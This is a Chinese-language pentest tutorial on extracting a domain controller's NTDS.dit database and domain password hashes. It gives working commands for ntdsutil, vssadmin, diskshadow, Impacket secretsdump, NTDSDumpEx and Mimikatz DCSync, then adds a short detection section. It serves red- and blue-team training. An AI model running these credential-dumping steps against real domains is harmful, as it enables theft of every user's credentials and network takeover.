内网渗透基石篇--域控制器(上)
字数 1718
更新时间 2025-08-13 23:08:14
域控制器渗透技术详解:提取NTDS.dit文件与域散列值
一、NTDS.dit文件概述
NTDS.dit是Active Directory的核心数据库文件,存储位置为域控制器的%SystemRoot%\NTDS\ntds.dit。该文件包含但不限于以下关键信息:
- 域内所有用户的用户名和密码散列值
- 组信息
- 组策略首选项(GPP)
- 组织单位(OU)信息
重要特性:
- 二进制文件格式
- 运行时被Windows系统锁定,常规方法无法直接读取
- 与SAM文件类似,但包含整个域的信息而非单机信息
二、卷影拷贝服务(VSS)技术原理
卷影拷贝服务(Volume Shadow Copy Service)是Windows提供的快照技术,主要用于:
- 系统备份与恢复
- 绕过文件锁定机制获取文件副本
- 即使文件被活动目录服务锁定,仍可获取其副本
三、提取NTDS.dit的多种方法
3.1 使用ntdsutil.exe
ntdsutil.exe是Windows自带的Active Directory管理工具,支持系统:Win2003/2008/2012
操作步骤:
-
创建快照:
ntdsutil snapshot "activate instance ntds" create quit quit -
加载快照(使用上一步返回的GUID):
ntdsutil snapshot "mount {665f12d7-37f5-45e3-8aba-1d1944173ec9}" quit quit -
复制NTDS.dit文件:
copy C:\$SNAP_202007261544_VOLUMEC$\windows\ntds\ntds.dit c:\temp\ntds.dit -
卸载并删除快照:
ntdsutil snapshot "unmount {33a3344e-4c5e-4fc0-821e-fdc7a7aac36d}" "delete {33a3344e-4c5e-4fc0-821e-fdc7a7aac36d}" quit quit
3.2 使用vssadmin
Windows 2008及以后系统内置工具:
-
创建C盘卷影拷贝:
vssadmin create shadow /for=c: -
从卷影拷贝中复制NTDS.dit:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit c:\temp\ntds.dit
3.3 使用vssown.vbs脚本
GitHub下载地址:https://github.com/borigue/ptscripts/tree/master/windows
操作流程:
-
启动服务:
cscript vssown.vbs /start -
创建快照:
cscript vssown.vbs /create c -
列出快照:
cscript vssown.vbs /list -
复制文件后删除快照:
cscript vssown.vbs /delete {GUID}
3.4 使用ntdsutil的IFM功能
单命令完成:
ntdsutil "ac i ntds" "ifm" "create full c:\test" q q q
此命令会:
- 自动创建快照
- 加载快照
- 将ntds.dit和SAM文件复制到指定目录
3.5 使用diskshadow.exe
微软签名工具,默认存在于Win2008/2012/2016中。
使用方法:
-
创建执行脚本(1.txt):
set context persistent nowriters add volume c: alias someAlias create expose %someAlias% z: -
执行脚本:
diskshadow /s 1.txt -
复制文件:
copy z:\windows\ntds\ntds.dit c:\temp\ntds.dit
四、导出域散列值
4.1 使用Impacket工具包(Linux)
前提条件:
- ntds.dit文件
- SYSTEM文件(位于
C:\Windows\System32\config)
操作步骤:
-
安装Impacket:
git clone https://github.com/CoreSecurity/impacket.git cd impacket/ python setup.py install -
导出散列值:
python secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
4.2 使用esedbexport工具
安装与使用:
./configure
make
sudo make install
sudo ldconfig
esedbexport -m tables ntds.dit
4.3 使用NTDSDumpex(Windows)
下载地址:https://github.com/zcgonvh/NTDSDumpEx
操作步骤:
-
获取SYSTEM文件:
reg save HKLM\SYSTEM c:\temp\system.hive -
导出散列值:
NTDSDumpEx.exe -d ntds.dit -s system.hive -o hash.txt
五、利用DCSync获取域散列值
5.1 使用Mimikatz的DCSync功能
原理:利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据
权限要求:
- Administrators组用户
- Domain Admins组用户
- Enterprise Admins组用户
- 域控制器的计算机帐户
操作命令:
privilege::debug
lsadump::dcsync /domain:domain.com /all /csv
注意事项:
- 必须先执行
privilege::debug提升权限 - 用户数量多时可先执行
log命令记录输出 - 必须在域内计算机上以域管理员权限运行
六、防御与检测建议
-
监控卷影拷贝服务:
- 监控System Event ID 7036(卷影拷贝服务启动)
- 监控vssvc.exe进程创建事件
-
监控可疑工具使用:
- diskshadow.exe及其子进程创建
- 客户端设备上的diskshadow.exe实例
-
监控文件访问:
- 对ntds.dit文件的异常访问尝试
- 新出现的逻辑驱动器映射事件
-
权限控制:
- 严格限制对域控制器的管理员权限
- 监控敏感账户的异常使用
七、总结
域控制器渗透的关键步骤:
- 获取域管理员权限
- 通过VSS技术提取NTDS.dit文件
- 获取SYSTEM注册表文件
- 使用工具导出域散列值
- 利用散列值进行横向移动
掌握这些技术对于红队评估和内网渗透测试至关重要,同时也帮助蓝队更好地防御此类攻击。
相似文章
相似文章